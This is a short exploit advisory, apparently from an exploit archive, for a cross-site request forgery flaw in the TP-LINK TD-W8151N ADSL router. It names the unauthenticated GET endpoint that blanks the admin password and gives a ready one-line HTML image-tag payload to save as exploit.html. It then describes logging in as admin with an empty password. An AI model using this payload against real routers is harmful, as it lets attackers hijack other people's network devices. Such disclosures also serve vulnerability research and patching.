TP-LINK TD-W8151N Cross Site Request Forgery

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Vulnerable Software/Or Device: TP-LINK TD-W8151N 150Mbps Wireless N ADSL+2 modem Router
Vendor: http://www.tp-linkru.com/
Vuln: CROSS SITE REQUEST FORGERY (CSRF)
How it looks?: http://s52.radikal.ru/i137/1210/47/b60496b61adf.jpg
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Tested on Windows XP SP2 (32 bit) 
Browser: Firefox 15.0.1
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What i can say? I can say only : Nice and Powerfull Device but insecure.

This modem Router (TD-W8151N 150Mbps Wireless N ADSL+2 modem Router) is vulnerable to CROSS SITE REQUEST FORGERY vulnerability).

Theris no need to change modem password using $_POST request method.(Because $_GET does it for you)

$_GET
http://LOCAL_IP_ADDRESS/Forms/tools_admin_1 

will reset current modem password to empty(blank) password if the current logged user/admin into modem visits malicious page which contains the following "payload".

=========CSRF EXPLOIT===================
<img src="http://192.168.1.1/Forms/tools_admin_1"/>
=========SAVE IT AS exploit.html============

modem password will be set to empty password.

Then attacker only needs to enter:
http://_LOCAL_OR_REMOTE_IP_ADDR_OF_VICTIM/

Account name: admin
         And 
Password: *LEAVE_IT_EMPTY_I_MEAN_BLANK*



#  0day.today [2018-02-27]  #